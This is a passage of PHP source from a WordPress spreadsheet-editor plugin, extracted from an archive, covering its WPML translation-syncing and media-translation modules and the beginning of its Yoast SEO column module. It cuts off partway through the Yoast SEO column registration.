save rows process // Because the save rows process has its own WPML syncing mechanism // We use this sync function only for other REST calls if ( $request['wpse_source'] === 'save_rows' ) { return; } $this->sync_translation_fields( $variation->get_id() ); } public function sync_translation_fields( $post_id ) { global $wpml_post_translations, $sitepress, $wpdb, $woocommerce_wpml, $wp_object_cache; if ( ! VGSE()->helpers->get_current_provider()->is_post_type ) { return; } $post = get_post( $post_id ); $main_id = $this->get_main_post_id( $post_id ); if ( is_object( $wp_object_cache ) ) { $wp_object_cache->flush(); } // This way is cleaner programmatically but the syncing of parent variable products is too slow $current_language_code = ( ! empty( $_GET['lang'] ) ) ? $_GET['lang'] : $sitepress->get_current_language(); $is_wc_product = class_exists( 'WooCommerce' ) && class_exists( 'WP_Sheet_Editor_WooCommerce' ) && in_array( $post->post_type, array( 'product_variation', 'product' ), true ); if ( $is_wc_product && class_exists( '\WCML\Rest\ProductSaveActions' ) ) { if ( get_post_type( $post_id ) === 'product_variation' ) { $post_id = get_post_field( 'post_parent', $post_id ); } $product_save_actions = new \WCML\Rest\ProductSaveActions( $sitepress->get_settings(), $wpdb, $sitepress, $woocommerce_wpml->sync_product_data ); $product_save_actions->run( wc_get_product( $post_id ), null, $current_language_code, $main_id ); // Better way, but needs some testing // $woocommerce_wpml->sync_product_data->woocommerce_product_quick_edit_save( wc_get_product( $post_id ) ); } else { $trid = WP_Sheet_Editor_WPML_Obj()->get_main_translation_id( $post_id, 'post_' . get_post_type( $post_id ), true ); $old_POST = $_POST; $_POST['icl_translation_of'] = $main_id ? $main_id : 'none'; $_POST['icl_trid'] = $trid; $_POST['icl_post_language'] = $wpml_post_translations->get_save_post_lang( $post_id, $sitepress ); $wpml_post_translations->save_post_actions( $post_id, $post ); $_POST = $old_POST; } } public function get_main_post_id( $post_id ) { global $wpdb; $main_trid = (int) WP_Sheet_Editor_WPML_Obj()->get_main_translation_id( $post_id, 'post_' . get_post_type( $post_id ), true ); $main_id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT element_id FROM {$wpdb->prefix}icl_translations WHERE trid = %d AND source_language_code IS NULL", (int) $main_trid ) ); return $main_id; } public function stop_automatic_wpml_syncing( $data, $post_type ) { global $wpml_post_translations; if ( ! VGSE()->helpers->get_current_provider()->is_post_type ) { return; } remove_action( 'save_post', array( $wpml_post_translations, 'save_post_actions' ), 100 ); } /** * Register spreadsheet columns */ public function register_columns( $editor ) { global $sitepress; if ( $editor->provider->key === 'user' ) { return; } if ( ! $editor->provider->is_post_type ) { return; } $post_types = $editor->args['enabled_post_types']; foreach ( $post_types as $post_type ) { if ( WP_Sheet_Editor_WPML_Obj()->is_the_default_language() ) { $editor->args['columns']->register_item( 'wpml_duplicate', $post_type, array( 'data_type' => 'meta_data', 'column_width' => 150, 'title' => __( 'WPML - Duplicate', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_to_hide' => true, 'allow_to_rename' => true, 'allow_plain_text' => true, 'formatted' => array( 'comment' => array( 'value' => __( 'Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.', 'vg_sheet_editor' ) ), ), 'save_value_callback' => array( $this, 'duplicate_to_language' ), ) ); } $editor->args['columns']->register_item( 'icl_translation_of', $post_type, array( 'data_type' => 'meta_data', 'column_width' => 200, 'title' => __( 'WPML - Translation of', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_to_hide' => true, 'allow_to_rename' => true, 'allow_plain_text' => true, 'get_value_callback' => array( $this, 'get_translation_of_cell' ), 'save_value_callback' => array( $this, 'update_translation_of_cell' ), 'is_locked' => WP_Sheet_Editor_WPML_Obj()->is_the_default_language(), 'allow_to_save' => ( WP_Sheet_Editor_WPML_Obj()->is_the_default_language() ) ? false : true, ) ); $editor->args['columns']->register_item( 'wpml_relationship', $post_type, array( 'data_type' => 'meta_data', 'column_width' => 150, 'title' => __( 'WPML - Relationship', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_to_hide' => true, 'allow_to_rename' => true, 'allow_plain_text' => true, 'formatted' => array( 'editor' => 'select', 'selectOptions' => array( '' => '', 'duplicate_from_main' => __( 'Duplicate from the main language', 'vg_sheet_editor' ), 'translate_separately' => __( 'Translate separately', 'vg_sheet_editor' ), ), ), 'save_value_callback' => array( $this, 'set_translation_relationship' ), 'get_value_callback' => array( $this, 'get_translation_relationship' ), 'is_locked' => WP_Sheet_Editor_WPML_Obj()->is_the_default_language(), 'allow_to_save' => ( WP_Sheet_Editor_WPML_Obj()->is_the_default_language() ) ? false : true, ) ); $editor->args['columns']->register_item( 'wpml_language', $post_type, array( 'data_type' => 'meta_data', 'column_width' => 150, 'title' => __( 'WPML - Language', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_to_hide' => true, 'allow_to_rename' => true, 'allow_plain_text' => true, 'allow_to_save' => true, 'formatted' => array( 'editor' => 'select', 'selectOptions' => wp_list_pluck( $sitepress->get_active_languages(), 'display_name', 'code' ), 'comment' => ( WP_Sheet_Editor_WPML_Obj()->is_the_default_language() ) ? null : array( 'value' => __( 'You can change the language of this post. If the translation for the new language exists, this change will not be applied.', 'vg_sheet_editor' ) ), ), 'get_value_callback' => array( $this, 'get_post_language' ), 'save_value_callback' => array( $this, 'save_post_language' ), ) ); $editor->args['columns']->register_item( 'translation_priority', $post_type, array( 'data_type' => 'post_terms', 'column_width' => 150, 'title' => __( 'WPML - Translation priority', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array( 'type' => 'autocomplete', 'source' => 'loadTaxonomyTerms', ), 'allow_to_hide' => true, 'allow_to_rename' => true, ) ); } } public function get_post_language( $post, $cell_key, $cell_args ) { global $wpdb; return $wpdb->get_var( $wpdb->prepare( 'SELECT language_code FROM ' . $wpdb->prefix . 'icl_translations WHERE element_type = %s AND element_id = %d', 'post_' . $post->post_type, $post->ID ) ); } public function get_translation_relationship( $post, $cell_key, $cell_args ) { $duplicate_of = (int) get_post_meta( $post->ID, '_icl_lang_duplicate_of', true ); $value = $duplicate_of ? 'duplicate_from_main' : 'translate_separately'; return $value; } public function get_translation_of_cell( $post, $cell_key, $cell_args ) { $main_id = (int) $this->get_main_post_id( $post->ID ); $value = ( $main_id && $main_id !== $post->ID ) ? get_the_title( $main_id ) : ''; return $value; } public function update_translation_of_cell( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { global $wpdb, $sitepress; $data_to_save = trim( $data_to_save ); if ( empty( $data_to_save ) ) { $wpdb->update( $wpdb->prefix . 'icl_translations', array( 'source_language_code' => null, 'language_code' => $sitepress->get_current_language(), ), array( 'element_id' => (int) $post_id, 'element_type' => 'post_' . esc_sql( $post_type ), ), array( '%s', '%s' ), array( '%d', '%s' ) ); return; } if ( is_numeric( $data_to_save ) && get_post_status( (int) $data_to_save ) ) { $main_post_id = (int) $data_to_save; } else { $main_post_id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type = %s AND post_title = %s LIMIT 1 ", $post_type, $data_to_save ) ); } if ( $main_post_id ) { $trid = WP_Sheet_Editor_WPML_Obj()->get_main_translation_id( $main_post_id, 'post_' . esc_sql( $post_type ), is_numeric( $data_to_save ) ); $wpdb->update( $wpdb->prefix . 'icl_translations', array( 'trid' => $trid, 'source_language_code' => $sitepress->get_default_language(), ), array( 'element_type' => 'post_' . esc_sql( $post_type ), 'element_id' => (int) $post_id, ) ); } } public function set_translation_relationship( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { global $iclTranslationManagement, $sitepress, $wpdb; if ( $data_to_save === 'duplicate_from_main' ) { $original_id = (int) $this->get_main_post_id( $post_id ); $iclTranslationManagement->set_duplicate( $original_id, $sitepress->get_current_language() ); } elseif ( $data_to_save === 'translate_separately' ) { $iclTranslationManagement->reset_duplicate_flag( $post_id ); } else { return; } } public function duplicate_to_language( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { global $iclTranslationManagement, $wpdb; // Skip if the post to be duplicated is not the original post $main_post_id = $this->get_main_post_id( $post_id ); if ( $main_post_id !== $post_id ) { return; } // Remove the flag _icl_lang_duplicate_of because main posts are not duplicates of other posts // If this flag is found, it will cause a server timeout because it should never exist in original posts $duplicate_of = get_post_meta( $post_id, '_icl_lang_duplicate_of', true ); if ( $duplicate_of ) { delete_post_meta( $post_id, '_icl_lang_duplicate_of' ); } $mdata = array( 'duplicate_to' => array(), ); $mdata['iclpost'] = array( $post_id ); $new_langs = array_filter( array_map( 'trim', explode( ',', strtolower( $data_to_save ) ) ) ); $existing_languages_for_post = $wpdb->get_col( $wpdb->prepare( "SELECT language_code FROM {$wpdb->prefix}icl_translations WHERE trid IN (SELECT trid FROM {$wpdb->prefix}icl_translations WHERE element_id = %d AND element_type LIKE %s)", $post_id, 'post\_%' ) ); $new_langs = array_diff( $new_langs, $existing_languages_for_post ); if ( empty( $new_langs ) ) { return; } foreach ( $new_langs as $lang ) { $mdata['duplicate_to'][ $lang ] = 1; } $iclTranslationManagement->make_duplicates( $mdata ); do_action( 'wpml_new_duplicated_terms', (array) $mdata['iclpost'], false ); } public function save_post_language( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { global $wpdb, $sitepress; $new_language = strtolower( $data_to_save ); // This if was preventing us from being able to move translations from one language to another // if ( ! icl_is_language_active( $data_to_save ) ) { // return; // } // Exit if there is a translation in the new language already $translation_for_new_language_exists = (int) $wpdb->get_var( $wpdb->prepare( 'SELECT COUNT(*) FROM ' . $wpdb->prefix . 'icl_translations WHERE language_code = %s AND element_type = %s AND element_id = %d ', $new_language, 'post_' . $post_type, $post_id ) ); if ( $translation_for_new_language_exists ) { return; } $current_lang = $this->get_post_language( get_post( $post_id ), null, null ); $args = array( 'language_code' => $new_language, // Don't set a source lang if the new language is the default language, or we're moving from the default lang into another lang 'source_language_code' => ( $new_language === $sitepress->get_default_language() || $current_lang === $sitepress->get_default_language() ) ? null : $sitepress->get_default_language(), ); $wpdb->update( $wpdb->prefix . 'icl_translations', $args, array( 'element_type' => 'post_' . esc_sql( $post_type ), 'element_id' => (int) $post_id, ) ); // If we change the language of a parent post, automatically change the language of the children. // I.e. if we change the language of a WC product, change it in the variations too $children = $wpdb->get_results( $wpdb->prepare( 'SELECT ID,post_type FROM %i WHERE post_parent = %d', $wpdb->posts, $post_id ), ARRAY_A ); foreach ( $children as $child ) { $this->save_post_language( (int) $child['ID'], $cell_key, $data_to_save, $child['post_type'], $cell_args, $spreadsheet_columns ); } } /** * Creates or returns an instance of this class. */ static function get_instance() { if ( ! self::$instance ) { self::$instance = new WPSE_WPML_Posts(); self::$instance->init(); } return self::$instance; } public function __set( $name, $value ) { $this->$name = $value; } public function __get( $name ) { return $this->$name; } } } if ( ! function_exists( 'WPSE_WPML_Posts_Obj' ) ) { function WPSE_WPML_Posts_Obj() { return WPSE_WPML_Posts::get_instance(); } } WPSE_WPML_Posts_Obj(); modules/wpml/inc/media.php000064400000010603147600365160011544 0ustar00args['enabled_post_types']; if (!in_array('attachment', $post_types, true)) { return; } foreach ($post_types as $post_type) { if (WP_Sheet_Editor_WPML_Obj()->is_the_default_language()) { $editor->args['columns']->register_item('wpml_duplicate', $post_type, array( 'save_value_callback' => array($this, 'duplicate_to_language'), ), true); } } } function duplicate_to_language($post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns) { global $sitepress, $wpdb, $wpse_wpml_media_translation; VGSE()->helpers->remove_all_post_actions($post_type); $original_image = get_post($post_id); $args = array( 'translated-attachment-id' => null, 'original-attachment-id' => $post_id, 'restore-media' => 0, 'update-media-file' => 0, 'translation' => array( 'title' => $original_image->post_title, 'post_excerpt' => $original_image->post_excerpt, 'post_content' => $original_image->post_content, ) ); $langs = array_filter(array_map('trim', explode(',', strtolower($data_to_save)))); $original_POST = $_POST; if (!$wpse_wpml_media_translation) { $wpse_wpml_media_translation = new WPSE_WPML_Media_Fork($sitepress, $wpdb, new WPML_Media_File_Factory(), new WPML_Translation_Element_Factory($sitepress)); } $trid = WP_Sheet_Editor_WPML_Obj()->get_main_translation_id($post_id, 'post_' . $post_type); $sql = $wpdb->prepare("SELECT language_code FROM " . $wpdb->prefix . "icl_translations WHERE element_type = %s AND trid = %d", 'post_' . $post_type, (int) $trid); $existing_translation_languages = array_filter($wpdb->get_col($sql)); foreach ($langs as $lang) { if (in_array($lang, $existing_translation_languages, true)) { continue; } $args['translated-language'] = $lang; $_POST = $args; $response = $wpse_wpml_media_translation->save_media_translation(); } $_POST = $original_POST; } function get_urls_related_to_image($urls, $attachment_id) { $original_attachment_id = WP_Sheet_Editor_WPML_Obj()->get_main_id($attachment_id, 'post_attachment'); remove_filter('vg_sheet_editor/media/get_all_urls_related_to_image', array($this, 'get_urls_related_to_image'), 10); $urls = $GLOBALS['wpse_media_sheet_object']->_get_all_urls_related_to_image($original_attachment_id); add_filter('vg_sheet_editor/media/get_all_urls_related_to_image', array($this, 'get_urls_related_to_image'), 10, 2); return $urls; } /** * Creates or returns an instance of this class. */ static function get_instance() { if (null == WPSE_WPML_Media::$instance) { WPSE_WPML_Media::$instance = new WPSE_WPML_Media(); WPSE_WPML_Media::$instance->init(); } return WPSE_WPML_Media::$instance; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } if (!function_exists('WPSE_WPML_Media_Obj')) { function WPSE_WPML_Media_Obj() { return WPSE_WPML_Media::get_instance(); } } WPSE_WPML_Media_Obj(); modules/wpml/inc/class-wpml-media-save-translation.php000064400000020716147600365160017122 0ustar00sitepress = $sitepress; $this->wpdb = $wpdb; $this->media_file_factory = $media_file_factory; $this->translation_element_factory = $translation_element_factory; } public function add_hooks() { } public function save_media_translation() { $post_array['ID'] = (int) $_POST['translated-attachment-id']; $original_attachment_id = (int) $_POST['original-attachment-id']; $translated_language = sanitize_text_field($_POST['translated-language']); if (isset($_POST['translation']['title'])) { $post_array['post_title'] = sanitize_text_field($_POST['translation']['title']); } if (isset($_POST['translation']['caption'])) { $post_array['post_excerpt'] = sanitize_text_field($_POST['translation']['caption']); } if (isset($_POST['translation']['description'])) { $post_array['post_content'] = sanitize_text_field($_POST['translation']['description']); } if ($post_array['ID']) { $attachment_id = wp_update_post($post_array); if ($this->should_restore_media()) { $this->restore_media_file($attachment_id, $original_attachment_id, $translated_language); } } else { $post_array['post_type'] = 'attachment'; $post_array['post_status'] = 'inherit'; $post_array['guid'] = get_post_field('guid', $original_attachment_id); $post_array['post_mime_type'] = get_post_field('post_mime_type', $original_attachment_id); $attachment_id = $this->create_attachment_translation($original_attachment_id, $post_array); $this->sitepress->set_element_language_details( $attachment_id, 'post_attachment', $this->get_post_trid_value(), $this->get_post_lang_value() ); if (!$this->has_media_upload()) { $this->copy_attached_file_info_from_original($attachment_id, $original_attachment_id); } $this->mark_media_as_not_translated($attachment_id, $translated_language); } $translation_status = WPML_Media_Translation_Status::NEEDS_MEDIA_TRANSLATION; if ($this->has_media_upload()) { $this->update_media_file($attachment_id, $original_attachment_id, $translated_language); $translation_status = WPML_Media_Translation_Status::TRANSLATED; } if (isset($_POST['translation']['alt-text'])) { update_post_meta( $attachment_id, '_wp_attachment_image_alt', sanitize_text_field($_POST['translation']['alt-text']) ); } if (0 === strpos(get_post_field('post_mime_type', $original_attachment_id), 'image/')) { $translated_thumb = wp_get_attachment_thumb_url($attachment_id); $original_thumb = wp_get_attachment_thumb_url($original_attachment_id); $media_file_is_translated = $translated_thumb !== $original_thumb; } else { $media_file_is_translated = get_attached_file($attachment_id) !== get_attached_file($original_attachment_id); $translated_thumb = wp_mime_type_icon($original_attachment_id); } $media_usage = get_post_meta($original_attachment_id, WPML_Media_Usage::FIELD_NAME, true); $posts_list = array(); if (isset($media_usage['posts'])) { foreach ($media_usage['posts'] as $post_id) { $post_element = $this->translation_element_factory->create($post_id, 'post'); $post_translation = $post_element->get_translation($translated_language); if ($post_translation) { $posts_list[] = array( 'url' => get_edit_post_link($post_translation->get_id()), 'title' => get_post_field('post_title', $post_translation->get_id()) ); } } } if (isset($media_usage['posts']) && $this->should_restore_media()) { do_action('wpml_restored_media_file_translation', $attachment_id, $media_usage['posts']); } $response = array( 'attachment_id' => $attachment_id, 'thumb' => $media_file_is_translated ? $translated_thumb : false, 'status' => $translation_status, 'usage' => $posts_list ); return $response; } public function has_media_upload() { return !empty($_POST['update-media-file']); } public function should_restore_media() { return !empty($_POST['restore-media']); } /** * @param int $original_attachment_id * @param array $post_array * * @return int */ public function create_attachment_translation($original_attachment_id, $post_array) { $post_element = $this->translation_element_factory->create($original_attachment_id, 'post'); $this->set_post_trid_value($post_element->get_trid()); $this->set_post_lang_value($_POST['translated-language']); add_filter('wpml_tm_save_post_trid_value', array($this, 'get_post_trid_value')); add_filter('wpml_tm_save_post_lang_value', array($this, 'get_post_lang_value')); $attachment_id = wp_insert_post($post_array); remove_filter('wpml_tm_save_post_trid_value', array($this, 'get_post_trid_value')); remove_filter('wpml_tm_save_post_lang_value', array($this, 'get_post_lang_value')); return $attachment_id; } public function set_post_trid_value($value) { $this->post_data['post_icl_trid'] = $value; } public function get_post_trid_value() { return $this->post_data['post_icl_trid']; } public function set_post_lang_value($value) { $this->post_data['post_icl_language'] = $value; } public function get_post_lang_value() { return $this->post_data['post_icl_language']; } public function restore_media_file($attachment_id, $original_attachment_id, $language) { $media_file = $this->media_file_factory->create($attachment_id); $media_file->delete(); $this->copy_attached_file_info_from_original($attachment_id, $original_attachment_id); $this->mark_media_as_not_translated($original_attachment_id, $language); } public function copy_attached_file_info_from_original($attachment_id, $original_attachment_id) { $meta_keys = array( '_wp_attachment_metadata', '_wp_attached_file', '_wp_attachment_backup_sizes' ); foreach ($meta_keys as $meta_key) { update_post_meta($attachment_id, $meta_key, get_post_meta($original_attachment_id, $meta_key, true)); } } public function mark_media_as_not_translated($attachment_id, $language) { update_post_meta($attachment_id, WPML_Media_Translation_Status::STATUS_PREFIX . $language, WPML_Media_Translation_Status::NEEDS_MEDIA_TRANSLATION); } public function mark_media_as_translated($attachment_id, $language) { update_post_meta($attachment_id, WPML_Media_Translation_Status::STATUS_PREFIX . $language, WPML_Media_Translation_Status::TRANSLATED); } /** * @param array $file * * @return array */ public function get_attachment_post_data($file) { $postarr = array( 'post_mime_type' => $file['type'], 'guid' => $file['url'], 'post_modified' => current_time('mysql'), 'post_modified_gmt' => current_time('mysql', 1) ); return $postarr; } public function update_media_file($attachment_id, $original_attachment_id, $translated_language) { $transient_key = WPML_Media_Attachment_Image_Update::TRANSIENT_FILE_UPLOAD_PREFIX . $original_attachment_id . '_' . $translated_language; $media_file_upload = get_transient($transient_key); if ($media_file_upload) { $file = $media_file_upload['upload']; // delete previous media file + sizes $media_file = $this->media_file_factory->create($attachment_id); $media_file->delete(); $post_data = $this->get_attachment_post_data($file); $this->wpdb->update($this->wpdb->posts, $post_data, array('ID' => $attachment_id)); update_attached_file($attachment_id, $file['file']); wp_update_attachment_metadata($attachment_id, wp_generate_attachment_metadata($attachment_id, $file['file'])); $this->mark_media_as_translated($original_attachment_id, $translated_language); do_action('wpml_added_media_file_translation', $original_attachment_id, $file, $translated_language); delete_transient($transient_key); } } } modules/wpml/index.php000064400000000000147600365160011011 0ustar00modules/wpml/wpml.php000064400000006143147600365160010677 0ustar00init(); } return WP_Sheet_Editor_WPML::$instance; } function init() { if (!defined('ICL_SITEPRESS_VERSION') || !interface_exists('IWPML_Action')) { return; } $files = VGSE()->helpers->get_files_list(__DIR__ . '/inc'); foreach ($files as $file) { require_once $file; } add_filter('vg_sheet_editor/global_js_data', array($this, 'always_use_initial_language')); add_filter('vg_sheet_editor/data/taxonomy_terms/cache_key', array($this, 'modify_cache_key')); } function modify_cache_key($cache_key) { global $sitepress; return $cache_key . $sitepress->get_current_language(); } function always_use_initial_language($settings) { global $sitepress; $settings['ajax_url'] = esc_url(add_query_arg('lang', $sitepress->get_current_language(), $settings['ajax_url'])); return $settings; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } function filter_posts_query_by_language($sql) { global $wpdb, $sitepress; if (strpos($sql, $wpdb->posts) === false && strpos($sql, $wpdb->postmeta) !== false) { $sql = str_replace(' WHERE ', " LEFT JOIN " . $wpdb->posts . " p ON $wpdb->postmeta.post_id = p.ID WHERE ", $sql); } $sql = str_replace(' WHERE ', " LEFT JOIN " . $wpdb->prefix . "icl_translations i ON CONCAT('post_', p.post_type ) = i.element_type AND i.element_id = p.ID WHERE i.language_code = '" . esc_sql($sitepress->get_current_language()) . "' AND ", $sql); return $sql; } function is_not_the_default_language() { global $sitepress; return $sitepress->get_default_language() !== $sitepress->get_current_language(); } function get_main_id($translation_id, $type) { $original_id = (int) SitePress::get_original_element_id($translation_id, $type); return $original_id; } function get_main_translation_id($translation_id, $type, $is_original_id = false) { global $wpdb; $original_id = (!$is_original_id ) ? $this->get_main_id($translation_id, $type) : $translation_id; if (!$original_id) { return $original_id; } $id = (int) $wpdb->get_var($wpdb->prepare("SELECT trid FROM {$wpdb->prefix}icl_translations WHERE element_type = %s AND element_id = %d", $type, $original_id)); return $id; } function is_the_default_language() { return !$this->is_not_the_default_language(); } } } if (!function_exists('WP_Sheet_Editor_WPML_Obj')) { function WP_Sheet_Editor_WPML_Obj() { return WP_Sheet_Editor_WPML::get_instance(); } } add_action('vg_sheet_editor/initialized', 'WP_Sheet_Editor_WPML_Obj'); modules/yoast-seo/index.php000064400000000000147600365160011755 0ustar00modules/yoast-seo/yoast-seo.php000064400000045102147600365160012605 0ustar00

                  version, '2.0.0' ) < 0 ) { add_action( 'admin_notices', array( $this, 'notify_wrong_core_version' ) ); return; } // exit if yoast seo plugin is not active if ( ! $this->is_yoast_seo_plugin_active() ) { return; } add_action( 'vg_sheet_editor/editor/register_columns', array( $this, 'register_columns' ) ); add_action( 'vg_sheet_editor/load_rows/output', array( $this, 'filter_seo_score_cell_html' ), 10, 3 ); add_filter( 'vg_sheet_editor/provider/post/update_item_meta', array( $this, 'filter_cell_data_for_saving' ), 10, 3 ); add_action( 'vg_sheet_editor/save_rows/after_saving_post', array( $this, 'build_indexables' ), 10, 4 ); add_filter( 'vg_sheet_editor/formulas/sql_execution/can_execute', array( $this, 'disable_sql_formulas' ), 99, 3 ); add_action( 'vg_sheet_editor/formulas/execute_formula/after_execution_on_field', array( $this, 'build_indexables_after_formula' ), 10, 6 ); } function build_indexables_after_formula( $post_id, $initial_data, $modified_data, $column_key, $formula, $post_type ) { $this->build_indexables( $post_id, array( $column_key => $modified_data, ), array(), $post_type ); } /** * Disable sql formulas because we need to trigger the rebuild of indexables * @param boolean $allowed * @param string $formula * @param array $column * @return boolean */ function disable_sql_formulas( $allowed, $formula, $column ) { if ( strpos( $column['key'], 'yoast' ) !== false ) { $allowed = false; } return $allowed; } function build_indexables( $post_id, $item, $data, $post_type ) { $modified_keys = implode( ',', array_keys( $item ) ); if ( strpos( $modified_keys, 'yoast' ) === false ) { return; } if ( ! taxonomy_exists( $post_type ) ) { return; } $term = get_term_by( 'term_id', $post_id, $post_type ); do_action( 'edited_term', $term->term_id, $term->term_taxonomy_id, $post_type ); } /** * Filter html of SEO score cells to display the score icon. * @param array $data * @param array $qry * @param array $spreadsheet_columns * @return array */ function filter_seo_score_cell_html( $data, $qry, $spreadsheet_columns ) { if ( ! isset( $spreadsheet_columns['_yoast_wpseo_linkdex'] ) ) { return $data; } foreach ( $data as $post_index => $post_row ) { $noindex = (int) VGSE()->helpers->get_current_provider()->get_item_meta( $post_row['ID'], '_yoast_wpseo_meta-robots-noindex', true ); $score = ''; if ( $noindex ) { $score = 'noindex'; } elseif ( ! empty( $post_row['_yoast_wpseo_linkdex'] ) && method_exists( 'WPSEO_Utils', 'translate_score' ) ) { $score = WPSEO_Utils::translate_score( $post_row['_yoast_wpseo_linkdex'] ); } elseif ( ! empty( $post_row['_yoast_wpseo_linkdex'] ) && method_exists( 'WPSEO_Rank', 'from_numeric_score' ) ){ $rank = WPSEO_Rank::from_numeric_score( (int) $post_row['_yoast_wpseo_linkdex'] ); $score = $rank->get_label(); } $data[ $post_index ]['_yoast_wpseo_linkdex'] = $score; } return $data; } /** * Is yoast seo plugin active * @return boolean */ function is_yoast_seo_plugin_active() { return defined( 'WPSEO_VERSION' ); } /** * Test whether the yoast metabox is hidden either by choice of the admin or because * the post type is not a public post type * * @param string $post_type (optional) The post type to test, defaults to the current post post_type * * @return bool Whether or not the meta box (and associated columns etc) should be hidden */ function is_yoast_metabox_hidden( $post_type = null ) { if ( ! $this->yoast_options ) { $this->yoast_options = get_option( 'wpseo_titles' ); } $options = $this->yoast_options; $disabled = false; if ( ( isset( $options[ 'hideeditbox-' . $post_type ] ) && $options[ 'hideeditbox-' . $post_type ] === true ) || ( isset( $options[ 'hideeditbox-tax-' . $post_type ] ) && $options[ 'hideeditbox-tax-' . $post_type ] === true ) ) { $disabled = true; } return $disabled; } /** * Creates or returns an instance of this class. */ static function get_instance() { if ( null == self::$instance ) { self::$instance = new WP_Sheet_Editor_YOAST_SEO(); self::$instance->init(); } return self::$instance; } function __set( $name, $value ) { $this->$name = $value; } function __get( $name ) { return $this->$name; } function get_term_meta( $post, $cell_key, $cell_args ) { $value = WPSEO_Taxonomy_Meta::get_term_meta( $post, $post->taxonomy, str_replace( '_yoast_wpseo_', '', $cell_key ) ); if ( $value === 'default' ) { $value = ''; } if ( $cell_key === '_yoast_wpseo_noindex' && empty( $value ) ) { $value = 'index'; } return $value; } function save_opengraph_image( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { if ( empty( $data_to_save ) ) { $file_id = ''; $url = ''; } else { $url_parts = explode( '?', $data_to_save ); $url = current( $url_parts ); $file_id = VGSE()->helpers->get_attachment_id_from_url( $url ); } update_post_meta( $post_id, $cell_key . '-id', $file_id ); update_post_meta( $post_id, $cell_key, $url ); } function update_term_meta( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { $old = WPSEO_Taxonomy_Meta::get_term_meta( $post_id, $post_type ); if ( empty( $old ) ) { $old = array(); } $new = array_merge( $old, array( str_replace( '_yoast_', '', $cell_key ) => $data_to_save, ) ); if ( in_array( $cell_key, array( '_yoast_wpseo_opengraph-image', '_yoast_wpseo_twitter-image' ), true ) ) { $new[ $cell_key . '-id' ] = VGSE()->helpers->get_attachment_id_from_url( $data_to_save ); } WPSEO_Taxonomy_Meta::set_values( $post_id, $post_type, $new ); } /** * Register spreadsheet columns */ function register_columns( $editor ) { if ( $editor->provider->key === 'user' ) { return; } $post_types = $editor->args['enabled_post_types']; $tax_settings_global = array( 'get_value_callback' => array( $this, 'get_term_meta' ), 'save_value_callback' => array( $this, 'update_term_meta' ), 'supports_sql_formulas' => false, ); foreach ( $post_types as $post_type ) { $is_taxonomy = taxonomy_exists( $post_type ); // Register SEO columns for post types, taxonomies, and users only if ( ! post_type_exists( $post_type ) && ! $is_taxonomy && $post_type !== 'user' ) { continue; } if ( $this->is_yoast_metabox_hidden( $post_type ) ) { continue; } $tax_settings = $is_taxonomy ? $tax_settings_global : array(); $editor->args['columns']->register_item( '_yoast_wpseo_title', $post_type, array_merge( array( 'data_type' => 'meta_data', 'unformatted' => array( 'data' => '_yoast_wpseo_title' ), 'column_width' => 300, 'title' => __( 'SEO Title', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array( 'data' => '_yoast_wpseo_title', 'renderer' => 'html', ), 'allow_to_hide' => true, 'allow_to_rename' => true, ), $tax_settings ) ); $desc_key = ( $is_taxonomy ) ? '_yoast_wpseo_desc' : '_yoast_wpseo_metadesc'; $editor->args['columns']->register_item( $desc_key, $post_type, array_merge( array( 'data_type' => 'meta_data', 'unformatted' => array( 'data' => $desc_key ), 'column_width' => 300, 'title' => __( 'SEO Description', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array( 'data' => $desc_key ), 'allow_to_hide' => true, 'allow_to_rename' => true, ), $tax_settings ) ); $editor->args['columns']->register_item( '_yoast_wpseo_focuskw', $post_type, array_merge( array( 'data_type' => 'meta_data', 'unformatted' => array( 'data' => '_yoast_wpseo_focuskw' ), 'column_width' => 120, 'title' => __( 'SEO Keyword', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array( 'data' => '_yoast_wpseo_focuskw', 'renderer' => 'html', ), 'allow_to_hide' => true, 'allow_to_rename' => true, ), $tax_settings ) ); $editor->args['columns']->register_item( '_yoast_wpseo_opengraph-title', $post_type, array_merge( array( 'data_type' => 'meta_data', 'column_width' => 120, 'title' => __( 'SEO FB title', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'allow_to_hide' => true, 'allow_to_rename' => true, ), $tax_settings ) ); $editor->args['columns']->register_item( '_yoast_wpseo_opengraph-description', $post_type, array_merge( array( 'data_type' => 'meta_data', 'column_width' => 120, 'title' => __( 'SEO FB description', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'allow_to_hide' => true, 'allow_to_rename' => true, ), $tax_settings ) ); $editor->args['columns']->register_item( '_yoast_wpseo_opengraph-image', $post_type, array_merge( array( 'data_type' => 'meta_data', 'column_width' => 120, 'title' => __( 'SEO FB image', 'vg_sheet_editor' ), 'type' => 'boton_gallery', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_to_hide' => true, 'allow_to_rename' => true, 'save_value_callback' => array( $this, 'save_opengraph_image' ), ), $tax_settings ) ); $editor->args['columns']->register_item( '_yoast_wpseo_twitter-title', $post_type, array_merge( array( 